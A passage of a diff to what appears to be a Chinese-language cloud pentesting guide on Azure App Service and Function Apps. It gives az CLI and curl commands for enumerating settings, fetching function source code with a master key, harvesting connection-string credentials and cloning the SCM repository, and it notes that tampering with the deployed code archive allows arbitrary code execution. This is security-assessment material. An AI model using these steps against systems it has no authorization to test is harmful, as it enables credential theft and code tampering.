--resource-group <res-group>
|
||||
## If error like "This is currently not supported."
|
||||
## Then, this is probalby using a container
|
||||
|
||||
# Get more info if a container is being used
|
||||
az functionapp config container show \
|
||||
--name <name> \
|
||||
--resource-group <res-group>
|
||||
|
||||
# Get settings (and privesc to the sorage account)
|
||||
az functionapp config appsettings list --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Check if a domain was assigned to a function app
|
||||
az functionapp config hostname list --webapp-name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get SSL certificates
|
||||
az functionapp config ssl list --resource-group <res-group>
|
||||
|
||||
# Get network restrictions
|
||||
az functionapp config access-restriction show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code)
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
|
||||
|
||||
# Get source code with Master Key of the function
|
||||
curl "<script_href>?code=<master-key>"
|
||||
## Python example
|
||||
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=<master-key>" -v
|
||||
|
||||
# Get source code
|
||||
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
# Get hybrid-connections of a webapp
|
||||
az webapp hybrid-connections list --name <name> --resource-group <res-group>
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
@@ -171,6 +205,9 @@ echo "Function App Name: $appServiceName"
|
||||
fi
|
||||
done
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
#### 获取凭据并访问 webapp 代码
|
||||
```bash
|
||||
# Get connection strings that could contain credentials (with DBs for example)
|
||||
@@ -193,6 +230,40 @@ git clone 'https://<username>:<password>@name.scm.azurewebsites.net/repo-name.gi
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## 生成 Web 应用的示例
|
||||
|
||||
### 从本地使用 Python
|
||||
|
||||
本教程基于 [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli) 的内容。
|
||||
```bash
|
||||
# Clone repository
|
||||
git clone https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart
|
||||
cd msdocs-python-flask-webapp-quickstart
|
||||
|
||||
# Create webapp from this code
|
||||
az webapp up --runtime PYTHON:3.9 --sku B1 --logs
|
||||
```
|
||||
登录到 SCM 门户或通过 FTP 登录,可以在 `/wwwroot` 中看到压缩文件 `output.tar.gz`,该文件包含 webapp 的代码。
|
||||
|
||||
> [!TIP]
|
||||
> 仅通过 FTP 连接并修改文件 `output.tar.gz` 并不足以更改 webapp 执行的代码。
|
||||
|
||||
**攻击者可以下载此文件,修改它,然后再次上传以在 webapp 中执行任意代码。**
|
||||
|
||||
### 来自 Github 的 Python
|
||||
|
||||
本教程基于之前的教程,但使用 Github 存储库。
|
||||
|
||||
1. 在您的 Github 账户中分叉存储库 msdocs-python-flask-webapp-quickstart。
|
||||
2. 在 Azure 中创建一个新的 Python Web 应用。
|
||||
3. 在 `Deployment Center` 中更改源,使用 Github 登录,选择分叉的存储库并点击 `Save`。
|
||||
|
||||
与之前的情况一样,登录到 SCM 门户或通过 FTP 登录,可以在 `/wwwroot` 中看到压缩文件 `output.tar.gz`,该文件包含 webapp 的代码。
|
||||
|
||||
> [!TIP]
|
||||
> 仅通过 FTP 连接并修改文件 `output.tar.gz` 并重新触发部署并不足以更改 webapp 执行的代码。
|
||||
|
||||
|
||||
## 参考
|
||||
|
||||
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
|
||||
|
||||
Reference in New Issue
Block a user